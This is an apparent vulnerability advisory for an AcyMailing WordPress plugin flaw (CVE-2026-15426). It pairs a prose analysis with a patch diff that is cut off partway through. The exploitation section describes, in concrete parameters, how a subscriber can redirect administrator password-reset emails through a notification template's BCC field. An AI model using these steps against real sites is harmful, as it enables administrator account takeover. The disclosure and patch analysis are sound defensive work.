Published : August 11, 2026

CVE-2026-15426: AcyMailing <= 10.11.1 Authenticated (Subscriber+) Missing Authorization to Account Takeover via Notification Template Update PoC, Patch Analysis & Rule

Plugin acymailing
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 10.11.1
Patched Version 11.0.0
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15426:

This vulnerability enables an authenticated attacker with subscriber-level access to overwrite the BCC field of the acy_notification_cms notification template. This action causes subsequent WordPress password-reset emails, including those for administrator accounts, to be silently sent to an attacker-controlled address, enabling account takeover. The issue exists in AcyMailing versions up to and including 10.11.1 and carries a CVSS score of 8.8. The attack vector relies on an authorization bypass within the plugin’s AJAX handling and notification template update functionality.

Root Cause: The root cause is a missing authorization check in the plugin’s AJAX router and the notification template update process. The `Router::router()` method in `acymailing/WpInit/Router.php` previously only enforced `auth_redirect()` for authenticated users but did not verify that the user had the specific administrative capability required to manage templates. The `acym_checkToken` nonce is primarily a CSRF check, not an authorization check. The patch reveals that the router now calls `acym_hasBackofficeAccess()` to deny access to users without the proper ‘wp_access’ group membership. Without this, a subscriber can issue an AJAX request to the `acymailing_router` action, targeting the `acy_notification_cms` template. The template’s BCC field is not properly restricted, allowing an attacker to set it to an attacker-controlled email address.

Exploitation: An attacker with subscriber-level access crafts a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `acymailing_router`. The request includes parameters to target the appropriate controller and task for saving the notification template. Specifically, the attacker sets the `ctrl` parameter to a controller that handles template saving (e.g., ‘mails’) and the `task` to ‘store’. Within the `data` parameter, they specify the template ID for `acy_notification_cms` and modify the `bcc` field to an email address they control. This action sends the update, and the plugin saves the changes without verifying the user’s authorization. The attacker can then trigger a WordPress password reset for an administrator, which AcyMailing will process and send the reset link to the attacker-controlled BCC address.

Patch Analysis: The patch introduces a critical authorization check in the `Router::router()` method. After the standard `auth_redirect()` check, the code now explicitly verifies backoffice access using `acym_hasBackofficeAccess()`. This function mirrors the access gate from `Menu.php`, which checks if the user’s group (‘administrator’ is the default) is within the plugin’s ‘wp_access’ configuration. If not, the request is terminated with a 403 response. This effectively prevents any subscriber-level user from initiating actions through the plugin’s router, thereby blocking the malicious template update. The patch also includes other security hardening, such as adding nonce checks for various AJAX endpoints and refactoring file operations.

Impact: Successful exploitation leads to a full account takeover of an administrator account. By capturing the password reset link delivered to their controlled BCC address, an attacker can hijack the administrator’s session, change the password, and gain complete control of the WordPress installation. This can lead to further compromise, including the installation of malicious plugins, data exfiltration, and website defacement or destruction. The requirement for the ‘Send website emails with AcyMailing’ setting makes the attack path reliant on a configuration option, but this option is available and often enabled for sites using the plugin for transactional emails.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/acymailing/WpInit/Activation.php
+++ b/acymailing/WpInit/Activation.php
@@ -2,21 +2,28 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingHelpersUpdateHelper;

 class Activation
 {
+    // Install DB and sample data
     public function install(): void
     {
         $file_name = rtrim(dirname(__DIR__), DS).DS.'back'.DS.'tables.sql';
-        $handle = fopen($file_name, 'r');
-        $queries = fread($handle, filesize($file_name));
-        fclose($handle);
+        $queries = acym_getInternalFileContents($file_name);
+
+        if ($queries === false) {
+            return;
+        }

+        // If it is a network activation (activate on all websites)
         if (is_multisite() && is_network_admin()) {
             $currentBlog = get_current_blog_id();
-            $sites = function_exists('get_sites') ? get_sites() : wp_get_sites();
+            $sites = get_sites();

+            // Install on all websites
             foreach ($sites as $site) {
                 if (is_object($site)) {
                     $site = get_object_vars($site);
@@ -25,13 +32,14 @@
                 $this->sampledata($queries);
             }

+            // Switch back to network main site
             switch_to_blog($currentBlog);
         } else {
             $this->sampledata($queries);
         }

         if (file_exists(ACYM_FOLDER.'update.php')) {
-            unlink(ACYM_FOLDER.'update.php');
+            acym_deleteFile(ACYM_FOLDER.'update.php');
         }
     }

@@ -48,6 +56,7 @@
                 continue;
             }

+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.DirectDatabaseQuery.SchemaChange, WordPress.DB.PreparedSQL.NotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter -- DDL schema creation during plugin install, caching and abstraction are not applicable here.
             $wpdb->query('CREATE TABLE IF NOT EXISTS'.$oneTable);
         }

@@ -65,6 +74,7 @@
             return;
         }

+        //First we increase the perfs so that we won't have any surprise.
         acym_increasePerf();

         $updateHelper = new UpdateHelper();
@@ -101,6 +111,7 @@

         $config->saveConfig(['installcomplete' => 1]);

+        // Reload conf
         acym_config(true);
     }
 }
--- a/acymailing/WpInit/Beaver.php
+++ b/acymailing/WpInit/Beaver.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 class Beaver
 {
     public function __construct()
@@ -19,7 +21,34 @@

     public function addAcyscriptBeaver()
     {
-        wp_enqueue_script('select2lib', ACYM_JS.'libraries/select2-full.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'libraries'.DS.'select2-full.min.js'), ['jquery']);
-        wp_enqueue_script('acym_script_widget_article_beaver', ACYM_JS.'widget.min.js?v='.time(), ['jquery', 'select2lib'], false, true);
+        wp_enqueue_script(
+            'select2lib',
+            ACYM_JS.'libraries/select2-full.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'libraries'.DS.'select2-full.min.js'),
+            [
+                'jquery',
+            ],
+            '11.0.0',
+            [
+                'in_footer' => false,
+            ]
+        );
+        wp_enqueue_script(
+            'acym_script_widget_article_beaver',
+            ACYM_JS.'widget.min.js?v='.time(),
+            [
+                'jquery',
+                'select2lib',
+            ],
+            '11.0.0',
+            [
+                'in_footer' => true,
+            ]
+        );
+        // CSRF token for the article-search AJAX (dynamics/trigger requires acym_checkToken)
+        wp_add_inline_script(
+            'acym_script_widget_article_beaver',
+            'var acym_widget_nonce = '.json_encode(wp_create_nonce('acymnonce')).';',
+            'before'
+        );
     }
 }
--- a/acymailing/WpInit/Cron.php
+++ b/acymailing/WpInit/Cron.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingControllersConfigurationController;
 use AcyMailingHelpersCronHelper;

@@ -26,17 +28,21 @@
     public function triggerAutomatedTasks()
     {

+        // Starter versions shouldn't have access to the cron
         if (!acym_level(ACYM_ESSENTIAL)) {
             acym_deleteScheduledTask(['name' => ConfigurationController::CRON_TASK_NAME]);

             return;
         }

-        if (!acym_isLicenseValidWeekly() && (empty($_SERVER['HTTP_REFERER']) || strpos($_SERVER['HTTP_REFERER'], 'api.acymailing.com') === false)) {
+        //removeIf(development)
+        $httpReferer = acym_getVar('string', 'HTTP_REFERER', '', 'SERVER');
+        if (!acym_isLicenseValidWeekly() && (empty($httpReferer) || strpos($httpReferer, 'api.acymailing.com') === false)) {
             acym_deleteScheduledTask(['name' => ConfigurationController::CRON_TASK_NAME]);

             return;
         }
+        //endRemoveIf(development)

         $cronHelper = new CronHelper();
         $cronHelper->cron();
--- a/acymailing/WpInit/Elementor.php
+++ b/acymailing/WpInit/Elementor.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 class Elementor
 {
     public function __construct()
@@ -14,10 +16,48 @@

     public function addAcyScriptElementor()
     {
-        wp_enqueue_script('select2lib', ACYM_JS.'libraries/select2-full.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'libraries'.DS.'select2-full.min.js'), ['jquery']);
-        wp_enqueue_script('acym_script_widget_article_elementor', ACYM_JS.'widget.min.js?v='.time(), ['jquery', 'select2lib'], false, true);
-        wp_enqueue_script('acymailing-compatibility-elementor', ACYM_JS.'libraries/elementor.min.js', [], false, true);
-        wp_enqueue_style('acym_style_widget_article_elementor', ACYM_CSS.'libraries/elementor.min.css?v='.time());
+        wp_enqueue_script(
+            'select2lib',
+            ACYM_JS.'libraries/select2-full.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'libraries'.DS.'select2-full.min.js'),
+            ['jquery'],
+            '11.0.0',
+            [
+                'in_footer' => false,
+            ]
+        );
+        wp_enqueue_script(
+            'acym_script_widget_article_elementor',
+            ACYM_JS.'widget.min.js?v='.time(),
+            ['jquery', 'select2lib'],
+            '11.0.0',
+            [
+                'in_footer' => true,
+            ]
+        );
+        // CSRF token for the article-search AJAX (dynamics/trigger requires acym_checkToken)
+        wp_add_inline_script(
+            'acym_script_widget_article_elementor',
+            'var acym_widget_nonce = '.json_encode(wp_create_nonce('acymnonce')).';',
+            'before'
+        );
+        wp_enqueue_script(
+            'acymailing-compatibility-elementor',
+            ACYM_JS.'libraries/elementor.min.js',
+            [],
+            '11.0.0',
+            [
+                'in_footer' => true,
+            ]
+        );
+        wp_enqueue_style(
+            'acym_style_widget_article_elementor',
+            ACYM_CSS.'libraries/elementor.min.css?v='.time(),
+            [],
+            '11.0.0',
+            [
+                'in_footer' => true,
+            ]
+        );
     }

     public function registerWidgets()
--- a/acymailing/WpInit/ElementorForm.php
+++ b/acymailing/WpInit/ElementorForm.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingClassesUserClass;
 use AcyMailingClassesListClass;

@@ -19,6 +21,8 @@

     public function register_settings_section($widget)
     {
+        // Check if an id is provided because this function is called many times sometimes there is no id (and not the rest: settings, form_fields,...)
+        // So when we try to access fields data that is not currently existing a fatal error appears
         if ($widget->get_id()) {
             $fields = ['' => ''];
             foreach ($widget->get_data('settings')['form_fields'] as $field) {
@@ -97,7 +101,7 @@

         $newUser->name = $data[$settings['acym_nameField']];
         $newUser->email = $data[$settings['acym_emailField']];
-        $newUser->creation_date = date('Y-m-d H:i:s');
+        $newUser->creation_date = gmdate('Y-m-d H:i:s');
         $newUser->confirmed = $settings['acym_confirmUsers'] === 'yes';

         $user = $userClass->getOneByEmail($newUser->email);
@@ -105,6 +109,7 @@
             $newUser->id = $user->id;
         }

+        // We do that because Elementor submit the form via ajax and in ajax mode WordPress always return true to the function is_admin()
         $config = acym_config();
         if ($config->get('require_confirmation', 1) == 1) {
             $userClass->forceConfAdmin = true;
--- a/acymailing/WpInit/FakePhpMailer.php
+++ b/acymailing/WpInit/FakePhpMailer.php
@@ -1,27 +0,0 @@
-<?php
-
-namespace AcyMailingWpInit;
-
-use AcyMailingHelpersMailerHelper;
-
-class FakePhpMailer
-{
-    public function send()
-    {
-        return true;
-    }
-
-    public function IsSMTP()
-    {
-    }
-
-    public function addReplyTo($replyto, $name = '')
-    {
-        return true;
-    }
-
-    public function setFrom($address, $name = '', $auto = true)
-    {
-        return true;
-    }
-}
--- a/acymailing/WpInit/Forms.php
+++ b/acymailing/WpInit/Forms.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingClassesFormClass;

 class Forms
@@ -36,13 +38,18 @@
             }
         }

-        if (!empty($this->formToDisplay)) acym_initModule();
+        if (!empty($this->formToDisplay)) {
+            acym_initModule();
+        }
     }

     public function displayForms()
     {
-        if (empty($this->formToDisplay)) return;
+        if (empty($this->formToDisplay)) {
+            return;
+        }

+        // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Generated in partial folder "forms", escaped there.
         echo implode('', $this->formToDisplay);
     }

--- a/acymailing/WpInit/Gutenberg.php
+++ b/acymailing/WpInit/Gutenberg.php
@@ -2,9 +2,10 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingClassesFieldClass;
 use AcyMailingClassesListClass;
-use AcyMailingClassesUserClass;
 use AcyMailingCoreAcymParameter;

 class Gutenberg
@@ -44,13 +45,19 @@
     {
         wp_register_script(
             'gutenberg-acymailing-subscription-form',
-            ACYM_JS.'gutenberg/subscription.min.js?time='.time()
+            ACYM_JS.'gutenberg/subscription.min.js?time='.time(),
+            [],
+            '11.0.0',
+            [
+                'in_footer' => false,
+            ]
         );
         wp_add_inline_script(
             'gutenberg-acymailing-subscription-form',
             'var acym_lists = '.json_encode($this->lists).';
             var ACYM_JS_TXT = '.acym_getJSMessages().';
-            var acym_fields = '.json_encode($this->fields).';'
+            var acym_fields = '.json_encode($this->fields).';
+            var acym_subscription_nonce = '.json_encode(wp_create_nonce('acymnonce')).';'
         );

         $basicAttribute = [
@@ -98,6 +105,10 @@
                 'type' => 'string',
                 'default' => '',
             ],
+            'trackingconsent' => [
+                'type' => 'string',
+                'default' => '0',
+            ],
             'unsub' => [
                 'type' => 'string',
                 'default' => '0',
@@ -199,10 +210,13 @@
         }
         $params = new AcymParameter($block_attributes);

-        return acym_renderForm(
+        ob_start();
+        acym_renderForm(
             $params,
             ['disableButtons' => strpos(acym_currentURL(), 'block-renderer') !== false]
         );
+
+        return ob_get_clean();
     }

     public function registerBlockProfile()
@@ -211,7 +225,12 @@

         wp_register_script(
             'gutenberg-acymailing-profile',
-            ACYM_JS.'gutenberg/profile.min.js?time='.time()
+            ACYM_JS.'gutenberg/profile.min.js?time='.time(),
+            [],
+            '11.0.0',
+            [
+                'in_footer' => false,
+            ]
         );
         wp_add_inline_script(
             'gutenberg-acymailing-profile',
@@ -278,7 +297,12 @@

         wp_register_script(
             'gutenberg-acymailing-archive',
-            ACYM_JS.'gutenberg/archive.min.js?time='.time()
+            ACYM_JS.'gutenberg/archive.min.js?time='.time(),
+            [],
+            '11.0.0',
+            [
+                'in_footer' => false,
+            ]
         );
         wp_add_inline_script(
             'gutenberg-acymailing-archive',
--- a/acymailing/WpInit/MailDisabler.php
+++ b/acymailing/WpInit/MailDisabler.php
@@ -0,0 +1,30 @@
+<?php
+// phpcs:disable library_core_files -- Intended to disable the WordPress emails, if the user chooses so.
+
+namespace AcyMailingWpInit;
+
+defined('ABSPATH') || die('Restricted Access');
+
+use AcyMailingHelpersMailerHelper;
+
+class MailDisabler
+{
+    public function send()
+    {
+        return true;
+    }
+
+    public function IsSMTP()
+    {
+    }
+
+    public function addReplyTo($replyto, $name = '')
+    {
+        return true;
+    }
+
+    public function setFrom($address, $name = '', $auto = true)
+    {
+        return true;
+    }
+}
--- a/acymailing/WpInit/Menu.php
+++ b/acymailing/WpInit/Menu.php
@@ -11,16 +11,21 @@
         $this->router = $router;

         if (defined('WP_ADMIN') && WP_ADMIN) {
+            // Add AcyMailing menu in the back-end's left menu of WordPress
             add_action('admin_menu', [$this, 'addMenus'], 99);
         }

+        // Add "settings" link for acym on plugins listing
         add_filter('plugin_action_links_'.plugin_basename(dirname(__DIR__).'/index.php'), [$this, 'addPluginLinks']);
     }

+    // Add AcyMailing menu to WP left menu and define controllers
     public function addMenus()
     {
+        // Everyone in WordPress can read, the real test is made bellow
         $capability = 'read';

+        // Make sure the user is allowed to see admin features
         $config = acym_config();
         $allowedGroups = explode(',', $config->get('wp_access', 'administrator'));
         $userGroups = acym_getGroupsByUser();
@@ -34,7 +39,8 @@
         }
         if (!$allowed) return;

-        $svg = acym_loaderLogo(false);
+        // Add the Acy menu items to the WP menu
+        $svg = acym_fileGetContent(ACYM_IMAGES.'logos/logo_grey.svg');
         add_menu_page(
             acym_translation('ACYM_DASHBOARD'),
             'AcyMailing',
@@ -82,6 +88,7 @@
             );
         }

+        // Declare invisible menus
         $controllers = ['dynamics', 'file', 'language'];
         foreach ($controllers as $oneCtrl) {
             add_submenu_page(
@@ -94,12 +101,14 @@
             );
         }

+        // In WordPress, the first submenu is called "AcyMailing" instead of "Dashboard" so we rename it manually
         global $submenu;
         if (isset($submenu[ACYM_COMPONENT.'_dashboard'])) {
             $submenu[ACYM_COMPONENT.'_dashboard'][0][0] = acym_translation('ACYM_DASHBOARD');
         }
     }

+    // Add links on the plugins listing
     public function addPluginLinks($links): array
     {
         $settings_link = '<a href="admin.php?page='.ACYM_COMPONENT.'_configuration">'.acym_translation('ACYM_SETTINGS').'</a>';
--- a/acymailing/WpInit/Message.php
+++ b/acymailing/WpInit/Message.php
@@ -2,19 +2,36 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 class Message
 {
     public function __construct()
     {
+        // This is the frontend message system, don't load on the backend
         if (defined('WP_ADMIN') && WP_ADMIN) return;

         if (defined('DOING_AJAX') && DOING_AJAX) return;

+        // When calling acym_getFormToken() while _locale is set, it breaks the backend widget edition for some reason
         $locale = acym_getVar('string', '_locale', '');
         if (!empty($locale)) return;

-        wp_enqueue_style('acy_front_messages_css', ACYM_CSS.'front/messages.min.css?v='.filemtime(ACYM_MEDIA.'css'.DS.'front'.DS.'messages.min.css'));
-        wp_enqueue_script('acy_front_messages_js', ACYM_JS.'front/messages.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'front'.DS.'messages.min.js'));
+        wp_enqueue_style(
+            'acy_front_messages_css',
+            ACYM_CSS.'front/messages.min.css?v='.filemtime(ACYM_MEDIA.'css'.DS.'front'.DS.'messages.min.css'),
+            [],
+            '11.0.0'
+        );
+        wp_enqueue_script(
+            'acy_front_messages_js',
+            ACYM_JS.'front/messages.min.js?v='.filemtime(ACYM_MEDIA.'js'.DS.'front'.DS.'messages.min.js'),
+            [],
+            '11.0.0',
+            [
+                'in_footer' => false,
+            ]
+        );
         wp_add_inline_script(
             'acy_front_messages_js',
             'var ACYM_AJAX_START = "'.admin_url('admin-ajax.php').'";
--- a/acymailing/WpInit/Oauth.php
+++ b/acymailing/WpInit/Oauth.php
@@ -2,6 +2,8 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 class Oauth
 {
     public function __construct()
@@ -10,11 +12,11 @@
         $state = acym_getVar('string', 'state');
         if (!empty($code) && !empty($state)) {
             if ($state === 'acymailingsmtp') {
-                acym_redirect(acym_completeLink('configuration&auth_type=smtp&code='.$_GET['code'], false, true));
+                acym_redirect(acym_completeLink('configuration&auth_type=smtp&code='.$code, false, true));
             }

             if ($state === 'acymailingbounce') {
-                acym_redirect(acym_completeLink('configuration&auth_type=bounce&code='.$_GET['code'], false, true));
+                acym_redirect(acym_completeLink('configuration&auth_type=bounce&code='.$code, false, true));
             }
         }
     }
--- a/acymailing/WpInit/OverrideEmail.php
+++ b/acymailing/WpInit/OverrideEmail.php
@@ -13,6 +13,16 @@

     public function overrideEmailFunction($args)
     {
+        // A previous email in the same request may have registered the "blockEmailSending" and "blockEmailSendingPostSMTP" hooks below.
+        // We remove them systematically so each email is evaluated independently and we never missblock an email
+        remove_action('phpmailer_init', [$this, 'blockEmailSending']);
+        remove_filter('post_smtp_do_send_email', [$this, 'blockEmailSendingPostSMTP']);
+
+        // Let integrators exclude specific emails from AcyMailing's handling
+        if (!apply_filters('acym_override_wp_mail', true, $args)) {
+            return $args;
+        }
+
         if (empty($args['to'])) {
             return $args;
         }
@@ -53,6 +63,7 @@
                         if (stripos($charsetContent, 'boundary=') !== false) {
                             $boundary = trim(str_replace(['BOUNDARY=', 'boundary=', '"'], '', $charsetContent));
                         }
+                        // Avoid setting an empty $content_type.
                     } elseif (trim($content) !== '') {
                         $contentType = trim($content);
                     }
@@ -105,7 +116,7 @@

     public function blockEmailSending(&$phpmailer)
     {
-        $phpmailer = new FakePhpMailer();
+        $phpmailer = new MailDisabler();
     }

     public function blockEmailSendingPostSMTP($shouldSend)
--- a/acymailing/WpInit/Router.php
+++ b/acymailing/WpInit/Router.php
@@ -2,17 +2,22 @@

 namespace AcyMailingWpInit;

+defined('ABSPATH') || die('Restricted Access');
+
 use AcyMailingClassesPluginClass;

 class Router
 {
     public function __construct()
     {
+        // Back router
         add_action('wp_ajax_acymailing_router', [$this, 'router']);
+        // Front router
         if (!acym_isAdmin()) {
             add_action('wp_loaded', [$this, 'frontRouter']);
         }

+        // Make sure we can redirect / download / modify headers if needed after some checks
         $pages = [
             'automation',
             'bounces',
@@ -52,8 +57,10 @@
         ];
         foreach ($pages as $page) {
             if (in_array($page, $headerPages)) {
+                // Ensure we can set headers in the plugin
                 add_action('load-acymailing_page_acymailing_'.$page, [$this, 'waitHeaders']);
             }
+            // Disable WP emojis in AcyMailing only
             add_action('admin_print_scripts-acymailing_page_acymailing_'.$page, [$this, 'disableJsBreakingPages']);
             add_action('admin_print_styles-acymailing_page_acymailing_'.$page, [$this, 'removeCssBreakingPages']);
         }
@@ -65,12 +72,16 @@

     public function protectAcyMailingPages()
     {
+        // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Make sure we're on an AcyMailing page.
         $page = isset($_REQUEST['page']) ? sanitize_text_field(wp_unslash($_REQUEST['page'])) : '';
-        if (empty($page) || strpos($page, 'acymailing_') === false) return;
+        if (empty($page) || strpos($page, 'acymailing_') === false) {
+            return;
+        }

         wp_dequeue_script('responsive-lightbox-admin-select2');
         wp_dequeue_style('responsive-lightbox-admin-select2');

+        // Remove theme loading select2 from Supreme module pro for divi
         wp_dequeue_script('dsm-select-two');
         wp_dequeue_style('dsm-select-two');
     }
@@ -82,18 +93,25 @@

     public function disableJsBreakingPages()
     {
+        // Show normal emojis on AcyMailing pages
         remove_action('admin_print_scripts', 'print_emoji_detection_script');

+        // Slideshow ck breaks the editor
         remove_action('wp_enqueue_media', '\Slideshowck\Tinymce\register_scripts_styles');

+        // Skaut Google Drive gallery breaks the editor
         remove_action('wp_enqueue_media', '\Sgdg\Admin\TinyMCE\register_scripts_styles');

+        // Remove theme loading select2 which breaks select2 in vueJS
         wp_dequeue_script('select2.js');

+        // The "Checkout Field Manager for WooCommerce" plugin breaks the js on every pages
         wp_dequeue_script('checkout_fields_js');

+        // Fixed editor incompatibility
         wp_dequeue_script('wp-optimize-minify-admin-purge');

+        // Remove Happy Elementor Addons select2 which breaks our select2
         wp_dequeue_script('happy-elementor-addons-select2');
         wp_dequeue_script('select2');
     }
@@ -105,9 +123,11 @@
         wp_dequeue_style('wpml-select-2');
         wp_dequeue_style('swcfpc_admin_css');

+        // Remove Happy Elementor Addons select2 which breaks our select2
         wp_dequeue_style('happy-elementor-addons-select2');
         wp_dequeue_style('select2');

+        // Messes with the tooltips, the schedule date in emails for example
         wp_dequeue_style('qlwapp-admin-menu');
     }

@@ -121,18 +141,23 @@

     public function router(bool $front = false): void
     {
-        displayFreeTrialMessage();
+        acym_displayFreeTrialMessage();


         if (!$front) {
             auth_redirect();
+
+            // The router only enforces auth_redirect() and the 'dashboard' controller is exempt from call()'s ACL, so mirror Menu.php's back-office access gate (wp_access groups) to keep arbitrary logged-in users out.
+            if (!acym_hasBackofficeAccess()) {
+                wp_die(esc_html(acym_translation('ACYM_ACCESS_DENIED')), '', ['response' => 403]);
+            }
         }

         if (file_exists(ACYM_FOLDER.'update.php')) {
             $acyActivation = new Activation();
             if (is_multisite()) {
                 $currentBlog = get_current_blog_id();
-                $sites = function_exists('get_sites') ? get_sites() : wp_get_sites();
+                $sites = get_sites();

                 foreach ($sites as $site) {
                     if (is_object($site)) {
@@ -148,15 +173,16 @@
                 $acyActivation->updateAcym();
             }

-            unlink(ACYM_FOLDER.'update.php');
+            acym_deleteFile(ACYM_FOLDER.'update.php');
         }

         $config = acym_config(true);

+        // Get controller. If not found, take it from the page
         $ctrl = acym_getVar('cmd', 'ctrl', '');
         $task = acym_getVar('cmd', 'task', '');

-        if (!$front && acym_isAdmin() && file_exists(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON) && is_writable(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON)) {
+        if (!$front && acym_isAdmin() && file_exists(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON) && acym_isWritable(ACYM_NEW_FEATURES_SPLASHSCREEN_JSON)) {
             $ctrl = 'dashboard';
             $task = 'features';
             acym_setVar('ctrl', $ctrl);
@@ -174,8 +200,9 @@
             $ctrl = str_replace(ACYM_COMPONENT.'_', '', acym_getVar('cmd', 'page', ''));

             if (empty($ctrl)) {
-                echo acym_translation('ACYM_PAGE_NOT_FOUND');
+                echo esc_html(acym_translation('ACYM_PAGE_NOT_FOUND'));

+                // For Google search console in the frontend to prevent from doing 404 errors
                 $noCache = acym_getVar('int', 'nocache', 0);
                 if (!empty($noCache)) {
                     acym_redirect(acym_rootURI());
@@ -192,7 +219,7 @@
         $controllerNamespace = 'AcyMailing\'.$subNamespace.'Controllers\'.ucfirst($ctrl).'Controller';

         if (!class_exists($controllerNamespace)) {
-            echo acym_translation('ACYM_PAGE_NOT_FOUND').': '.$ctrl;
+            echo esc_html(acym_translation('ACYM_PAGE_NOT_FOUND').': '.$ctrl);

             return;
         }
@@ -200,16 +227,15 @@
         if (!$front && acym_isAdmin() && $task != 'edit' && !(defined('DOING_AJAX') && DOING_AJAX)) {
             $pluginClass = new PluginClass();
             $installedPlugins = $pluginClass->getAll('title');
-            $newPlugins = json_decode(ACYM_AVAILABLE_PLUGINS);
-            foreach ($newPlugins as $onePlugin) {
-                if (empty($installedPlugins[$onePlugin->name])) continue;
-                if ($installedPlugins[$onePlugin->name]->type !== 'ADDON') continue;
+            foreach (ACYM_AVAILABLE_PLUGINS as $onePlugin) {
+                if (empty($installedPlugins[$onePlugin['name']])) continue;
+                if ($installedPlugins[$onePlugin['name']]->type !== 'ADDON') continue;

                 acym_enqueueMessage(
                     acym_translationSprintf(
                         'ACYM_NEW_PLUGIN_FORMAT',
-                        $onePlugin->name,
-                        '<a target="_blank" style="color: #00a5ff;" href="'.$onePlugin->downloadlink.'">'.acym_translation('ACYM_CLICK_HERE').'</a>'
+                        $onePlugin['name'],
+                        '<a target="_blank" style="color: #00a5ff;" href="'.$onePlugin['downloadlink'].'">'.acym_translation('ACYM_CLICK_HERE').'</a>'
                     ),
                     'error'
                 );
@@ -261,6 +287,7 @@
             acym_redirect($cleanedUrl);
         }

+        // Never allow autologin for administrator accounts
         if ($user->has_cap('manage_options')) {
             acym_redirect($cleanedUrl);
         }
@@ -274,6 +301,7 @@

     private function deactivateHookAdminFooter()
     {
+        //Remove hook function which break AcyMailing pages
         remove_action('admin_footer', 'Freemius::_enrich_ajax_url');
         remove_action('admin_footer', 'Freemius::_open_support_forum_in_new_page');
     }
--- a/acymailing/WpInit/Update.php
+++ b/acymailing/WpInit/Update.php
@@ -1,173 +0,0 @@
-<?php
-
-namespace AcyMailingWpInit;
-
-use AcyMailingHelpersUpdatemeHelper;
-
-class Update
-{
-    private bool $cancelUpdate = false;
-    private string $pluginSlug;
-
-    public function __construct()
-    {
-        $this->pluginSlug = plugin_basename(dirname(__DIR__).'/index.php');
-
-        add_filter('pre_set_site_transient_update_plugins', [$this, 'checkUpdates'], 10, 1);
-        add_filter('site_transient_update_plugins', [$this, 'checkUpdates'], 10, 1);
-        add_filter('upgrader_package_options', [$this, 'checkDownloadUrl']);
-        add_action('upgrader_process_complete', [$this, 'afterUpdate'], 20, 2);
-    }
-
-    public function checkDownloadUrl($options)
-    {
-        if (empty($options['hook_extra']['plugin']) || $options['hook_extra']['plugin'] !== $this->pluginSlug || !acym_level(ACYM_ESSENTIAL)) {
-            return $options;
-        }
-
-        if (isset($options['package']) && strpos($options['package'], 'wordpress.org') !== false) {
-            $this->checkVersion(true);
-            $config = acym_config(true);
-            $options['package'] = $config->get('downloadurl', '');
-        }
-
-        return $options;
-    }
-
-    public function checkUpdates($transient)
-    {
-        $this->checkVersion();
-
-        if ($this->cancelUpdate) {
-            if (!empty($transient->response[$this->pluginSlug])) {
-                unset($transient->response[$this->pluginSlug]);
-            }
-
-            return $transient;
-        }
-
-        if (!acym_level(ACYM_ESSENTIAL) || !empty($transient->no_update[$this->pluginSlug]) || empty($transient->response[$this->pluginSlug])) {
-            return $transient;
-        }
-
-        $config = acym_config();
-        $downloadURL = $config->get('downloadurl', '');
-
-        if (strpos($downloadURL, 'http') === false) {
-            $downloadURL = '';
-            add_action('admin_notices', [$this, 'noticeUpdate'], 110);
-        }
-
-        $transient->response[$this->pluginSlug]->package = $downloadURL;
-
-        return $transient;
-    }
-
-    public function afterUpdate($upgrader_object, $options): void
-    {
-        if ($options['action'] !== 'update' || $options['type'] !== 'plugin') {
-            return;
-        }
-
-        if (!empty($options['plugin']) && $options['plugin'] === $this->pluginSlug) {
-            $this->resetUpdateData();
-        } elseif (!empty($options['plugins'])) {
-            foreach ($options['plugins'] as $onePluginSlug) {
-                if ($onePluginSlug !== $this->pluginSlug) {
-                    continue;
-                }
-
-                $this->resetUpdateData();
-                break;
-            }
-        }
-    }
-
-    public function noticeUpdate()
-    {
-        global $pagenow;
-        if (!in_array($pagenow, ['update-core.php', 'plugins.php'])) {
-            return;
-        }
-
-        echo '<div class="notice notice-error is-dismissible">
-                 <p>AcyMailing: '.acym_translation('ACYM_PAID_VERSION_NEED_UPDATE_ERROR_LICENSE_ATTACH').'</p>
-             </div>';
-    }
-
-    private function checkVersion(bool $forceCheck = false): void
-    {
-        $config = acym_config();
-        $lastCheck = $config->get('lastupdatecheck', 0);
-
-        static $alreadyChecked = false;
-        if (!$forceCheck && ($alreadyChecked || ($lastCheck > time() - 86400 && empty($_REQUEST['force-check'])))) {
-            return;
-        }
-        $alreadyChecked = true;
-
-        $url = ACYM_UPDATEME_API_URL.'public/updatexml/component?extension=acymailing&cms=wordpress&version=latest&level=starter';
-        if (acym_level(ACYM_ESSENTIAL)) {
-            $url .= '&website='.urlencode(ACYM_LIVE);
-        }
-
-        $updateInformation = acym_fileGetContent($url);
-        $xmlPos = strpos($updateInformation, '<?xml');
-        if ($xmlPos === false) {
-            return;
-        }
-
-        $updateInformation = substr($updateInformation, $xmlPos);
-
-        try {
-            $xml = new SimpleXMLElement($updateInformation);
-            $latestVersion = (string)$xml->update[0]->version;
